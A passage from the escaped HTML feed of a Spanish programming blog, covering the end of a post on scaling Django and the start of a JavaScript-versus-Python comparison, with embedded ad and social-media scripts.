align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;O, si tu aplicación no es muy compleja a nivel de base de datos, quizás quieras escribir tus propias consultas sql y combinarlas con algún otro framework.&lt;/p&gt;&#xA;&lt;p&gt;La tendencia actual es separar frontend de backend, por lo anterior Django está usándose en conjunto con Django Rest Framework para crear APIs, por lo que, si entre tus planes está la creación de una API, quizás te convenga considerar FastAPI, si no lo conoces date una vuelta por mi entrada donde te explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;los aspectos básicos de FastAPI.&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Actualización: Echa un vistazo a este marco que utiliza Rust para procesar vistas en lugar de Django. Todavía es un marco experimental, pero vale la pena seguirlo de cerca. Se llama [Django-bolt].(&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/FarhanAliRaza/django-bolt%29&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/FarhanAliRaza/django-bolt)&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bonus-aplicaciones-con-mas-de-63-000-modelos&#34;&gt;Bonus: aplicaciones con más de 63 000 modelos&lt;/h2&gt;&#xA;&lt;p&gt;Hay una plática que dieron en la djangocon2019 donde el ponente explica como lograron lidiar con una aplicación con 63000 endpoints, cada uno con diferentes permisos.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/O6-PbTPAFXw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;bonus-blogs-tecnicos&#34;&gt;Bonus: Blogs técnicos&lt;/h2&gt;&#xA;&lt;p&gt;Pinterest e Instagram son dos páginas gigantescas que partieron eligiendo Django como su backend. Puedes encontrar información sobre optimización y problemas muy concretos en sus blogs técnicos.&lt;/p&gt;&#xA;&lt;p&gt;El blog de instagram tiene una entrada llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://instagram-engineering.com/web-service-efficiency-at-instagram-with-python-4976d078e366&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Web Service efficiency at Instagram with Python&lt;/a&gt;&#xA;, donde explican algunos problemas que se encuentran al manejar 500 millones de usuarios y como solucionarlos.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo los enlaces a los blogs a continuación:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/pinterest-engineering/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pinterest engineering&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://engineering.fb.com/tag/instagram/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Instagram engineering&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Definitive Guide to Django: Web Development Done Right by Adrian Holovaty and Jacob Kaplan Moss&lt;/li&gt;&#xA;&lt;li&gt;Two scoops of Django 1.8 by Daniel Roy Greenfeld and Audrey Roy Greenfeld&lt;/li&gt;&#xA;&lt;li&gt;High performance Django by Peter Baumgartner and Yann Malet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Te gustaría que tu aplicación de Django pudiera manejar un millón de visitas? Esta entrada es una recopilación de artículos, libros, y videos que he leído sobre como llevar una aplicación de Django hasta sus máximas capacidades, incluso he implementado algunas de estas recomendaciones yo mismo.&lt;/p&gt;&#xA;&lt;p&gt;También es buen momento para recordar que si tu aplicación va empezando, probablemente &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no deberías obsesionarte con su rendimiento&amp;hellip; aún&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reduce-las-queries-lentas-en-django&#34;&gt;Reduce las queries lentas en Django&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, el acceso a la base de datos suele ser el cuello de botella de la mayoría de las aplicaciones. &lt;strong&gt;La acción más importante a realizar es reducir el número de queries y el impacto de cada una de estas&lt;/strong&gt;. Puedes reducir el impacto de tus queries en un 90%, y no exagero.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Javascript vs Python ¿cuál es mejor para ti?</title>
      <link>https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/</link>
      <pubDate>Thu, 10 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/</guid>
      
      <category>javascript</category>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Python y Javascript son dos de los lenguajes más populares entre las personas que están aprendiendo a programar, ambos son legibles, sencillos y con una curva de aprendizaje bastante plana si los comparamos con lenguajes como C, C++, Java o Rust. Ambos con sus fortalezas, debilidades, sus haters y sus defensores.&lt;/p&gt;&#xA;&lt;p&gt;También tengo una comparación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/&#34;&gt;Python vs Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, aquí están &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;mis recursos y libros favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-vs-python-comparacion-tldr&#34;&gt;Javascript vs Python comparación TLDR&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Categoría&lt;/th&gt;&#xA;          &lt;th&gt;Python&lt;/th&gt;&#xA;          &lt;th&gt;JavaScript&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Usos principales&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Machine Learning, AI, scripting, backend web, análisis de datos&lt;/td&gt;&#xA;          &lt;td&gt;Desarrollo web (frontend y backend), aplicaciones interactivas en navegador&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Popularidad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más popular según StackOverflow (2023)&lt;/td&gt;&#xA;          &lt;td&gt;Menos popular que Python, pero TypeScript (su superset) es ligeramente más popular&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Salarios&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Ligeramente mejor pagado (según StackOverflow 2023)&lt;/td&gt;&#xA;          &lt;td&gt;Salarios competitivos, pero algo menores que Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Antigüedad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más maduro (creado en los 80)&lt;/td&gt;&#xA;          &lt;td&gt;Creado en los 90, diseñado con prisas (inconsistencias en el lenguaje)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Rendimiento&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Más lento (interpretado)&lt;/td&gt;&#xA;          &lt;td&gt;Más rápido (compilación JIT en motores modernos como Node)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tipado&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Fuertemente tipado (no permite cambios implícitos de tipo)&lt;/td&gt;&#xA;          &lt;td&gt;Débilmente tipado (permite cambios implícitos, ej: &lt;code&gt;1 + &amp;quot;1&amp;quot; = &amp;quot;11&amp;quot;&lt;/code&gt;)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tipado opcional&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Soporta tipado opcional (desde Python 3.5)&lt;/td&gt;&#xA;          &lt;td&gt;TypeScript añade tipado fuerte&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Sintaxis&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Basada en indentación, menos caracteres especiales&lt;/td&gt;&#xA;          &lt;td&gt;Similar a C/C++ (llaves, puntos y coma)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Librerías estándar&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Amplia biblioteca estándar (&amp;ldquo;baterías incluidas&amp;rdquo;)&lt;/td&gt;&#xA;          &lt;td&gt;Librerías mínimas, pero gran ecosistema de paquetes (npm)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Asincronismo&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Async/await (desde Python 3.5), corre en un solo hilo&lt;/td&gt;&#xA;          &lt;td&gt;Async/await nativo, ejecución en hilos separados&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Frameworks web&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Enfocado en backend (Django, Flask, FastAPI)&lt;/td&gt;&#xA;          &lt;td&gt;Full-stack (React, Angular, Vue para frontend; Express, NestJS para backend)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Paquetes&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;~348k en PyPI (menos cantidad, pero más relevantes)&lt;/td&gt;&#xA;          &lt;td&gt;+1 millón en npm (más variedad, pero paquetes redundantes)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Soporte en navegadores&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No soportado nativamente&lt;/td&gt;&#xA;          &lt;td&gt;Ejecución nativa en navegadores&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Entorno de ejecución&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Instalado por defecto en Linux&lt;/td&gt;&#xA;          &lt;td&gt;Node.js para ejecución fuera del navegador&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;cual-elegir-python-o-javascript&#34;&gt;¿Cuál elegir Python o Javascript?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Te recomiendo JavaScript&lt;/strong&gt; si:&lt;br&gt;&#xA;✔ Te interesa el desarrollo web, ya sea frontend o backend, no importa ya.&lt;br&gt;&#xA;✔ Mayor velocidad de ejecución (aunque no tanto como lenguajes compilados).&lt;br&gt;&#xA;✔ Buscas un ecosistema masivo de librerías para no reinventar la rueda e iterar más rápido (npm).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Te recomiendo Python&lt;/strong&gt; si:&lt;br&gt;&#xA;✔ Te interesa Machine Learning, AI o análisis de datos.&lt;br&gt;&#xA;✔ Prefieres sintaxis legible y más mantenible.&lt;br&gt;&#xA;✔ Quieres un lenguaje más maduro y mejor diseñado, con una biblioteca estándar más completa.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si quieres ahondar en lo que menciono arriba, sigue leyendo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;},{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;javascript-vs-python-usos-de-ambos-lenguajes&#34;&gt;Javascript vs Python, usos de ambos lenguajes&lt;/h2&gt;&#xA;&lt;h3 id=&#34;usos-de-javascript-en-el-navegador&#34;&gt;Usos de Javascript en el navegador&lt;/h3&gt;&#xA;&lt;p&gt;Javascript se usa, principalmente, para desarrollar aplicaciones web. Es el lenguaje por defecto de los navegadores web, pero su versatilidad no se detiene ahí; Node permite utilizarlo también en tu ordenador, para ser usado como un lenguaje del lado del servidor, crear APIs, servidores, incluso al machine learning, aunque no es tan popular como Python en este rubro.&lt;/p&gt;&#xA;&lt;p&gt;&lt;del&gt;En los últimos años hay rumores de que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://deno.land/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;deno&lt;/a&gt;&#xA;, hecho por el creador de Node js, reemplazará a node, su predecesor, pero son solo eso, rumores.&lt;/del&gt; Además de Node, Javascript cuenta con muchísimos motores, tales como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bun.sh/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Bun&lt;/a&gt;&#xA; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/wasmerio/winterjs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;winterJS&lt;/a&gt;&#xA; que ofrecen un rendimiento superior y más amenidades que Node.&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-para-ai-y-machine-learning&#34;&gt;Python para AI y machine learning&lt;/h3&gt;&#xA;&lt;p&gt;Python es un lenguaje multipropósito, te permite crear aplicaciones nativas con interfaz de usuario, programar redes o servidores web, inteligencia artificial, desarrollo de aplicaciones web, prácticamente lo que sea.&lt;/p&gt;&#xA;&lt;p&gt;Aunque su fuerte en este momento es machine learning, creación de scripting y podriamos decir que un poco de desarrollo web, estando muy por debajo de Javascript en este campo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;popularidad-entre-ambos-lenguajes&#34;&gt;Popularidad entre ambos lenguajes&lt;/h2&gt;&#xA;&lt;p&gt;Javascript empezó siendo mucho más popular que Python, probablemente debido al auge de los navegadores web. Sin embargo, en algún punto cercano al 2017, Python ganó relevancia en comparación con Javascript y la tendencia se mantiene hasta finales del 2022.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/Python-vs-Javascript-desde-2004.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/Python-vs-Javascript-desde-2004.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gráfico de google trends comparando Javascript vs Python&#34; width=&#34;1238&#34; height=&#34;624&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python gana relevancia frente Javascript en Google trends&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;python-se-mantiene-mas-popular-que-javascript&#34;&gt;Python se mantiene más popular que Javascript&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      